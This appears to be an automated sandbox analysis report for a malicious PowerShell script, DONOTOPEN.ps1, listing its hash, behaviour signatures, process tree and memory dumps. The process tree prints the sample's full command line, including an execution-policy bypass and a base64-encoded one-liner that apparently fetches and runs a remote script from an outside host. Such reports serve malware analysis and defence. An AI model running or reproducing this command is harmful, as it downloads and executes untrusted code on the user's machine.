Analysis
- user interaction
yes - max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 23:16
General
- Target DONOTOPEN.ps1
- Size 225B
- Sample260809-288paaxcja
- SHA256 5ec705a4e8084da86bc2f50fad9dd99648fd086e271ba3f2d7393ba620daee03
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\DONOTOPEN.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" start powershell -i "-E LgAoACgAWwBzAHQAcgBpAG4AZwBdACQAZQBuAHYAOgBBAFAAUAA/AD8APwA/ACkAWwAtADMAXQArACcAZQB4ACcAKQAoAGkAcgBtACAAZwBmADUAMwAuAHAAYQBnAGUAcwAuAGQAZQB2AC8AZwAyAC4AdAB4AHQAKQA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_1ltallj3.lge.ps1
memory/2188-17-0x000002BD818B0000-0x000002BD818CE000-memory.dmp
memory/2188-19-0x000002BDFFFC0000-0x000002BDFFFCA000-memory.dmp
memory/2188-6-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-7-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-8-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-11-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-12-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-13-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-0-0x00007FFE05BEF000-0x00007FFE05BF0000-memory.dmp
memory/2188-18-0x000002BD99EE0000-0x000002BD99F92000-memory.dmp
memory/2188-4-0x000002BE00000000-0x000002BE00022000-memory.dmp
memory/2188-5-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-20-0x000002BE00030000-0x000002BE0004E000-memory.dmp
memory/2188-21-0x000002BDFFFD0000-0x000002BDFFFDA000-memory.dmp
memory/2188-22-0x000002BE00050000-0x000002BE0006C000-memory.dmp
memory/2188-24-0x000002BD818E0000-0x000002BD818E6000-memory.dmp
memory/2188-25-0x000002BDFFFE0000-0x000002BDFFFEA000-memory.dmp
memory/2188-23-0x000002BD818D0000-0x000002BD818D8000-memory.dmp
memory/2188-3-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-28-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp
memory/2188-29-0x00007FFE05A60000-0x00007FFE06404000-memory.dmp